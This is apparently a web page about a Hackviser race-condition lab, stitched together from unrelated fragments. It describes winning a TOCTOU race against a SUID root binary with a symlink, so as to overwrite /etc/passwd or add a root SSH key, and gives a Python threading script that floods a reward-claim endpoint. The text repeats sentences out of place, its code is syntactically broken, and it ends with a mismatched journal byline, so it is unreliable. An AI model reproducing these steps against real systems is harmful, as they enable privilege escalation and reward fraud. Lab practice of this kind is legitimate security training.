Race Condition Hackviser · Real & Easy

We need to constantly flip a file between two states:

We run a "Racer" script in a tight loop.

If the scheduler context-switches just after the access() check but before the open() call, the binary will see the dummy file is missing, but when it goes to open()... it’s holding a symlink to /etc/passwd.

Since the binary is SUID root, it writes with root privileges. Congratulations—you just overwrote /etc/passwd or added an SSH key for root.

Hackviser usually asks post-exploitation how to fix: race condition hackviser

Rating: 8.5/10
🎯 Accuracy: Represents real-world concurrency bugs.
🧠 Didactic: Teaches defensive coding mindset.
⚡ Fun factor: Feels like a “magic trick” when you win twice the reward.

Best for: Users comfortable with Python/Burp who want to move beyond basic SQLi/XSS.

Skip if: You dislike nondeterministic exploits or lack permission to run parallel requests.

You know you have succeeded when the server returns: We need to constantly flip a file between two states:

Manual attempt: two browser tabs submitting same request quickly fails.
Scripted approach in Python:

import threading
import requests
url = "https://hackviser-challenge.com/claim"
data = "user": "attacker", "reward": 100
def send():
for _ in range(10):
requests.post(url, data=data)
threads = []
for _ in range(30):
t = threading.Thread(target=send)
t.start()
threads.append(t) We run a  "Racer"  script in a tight loop
for t in threads:
t.join()

Author: AI Research Consortium
Published: Journal of Offensive Security Engineering, Vol. 14, Issue 3
Date: April 13, 2026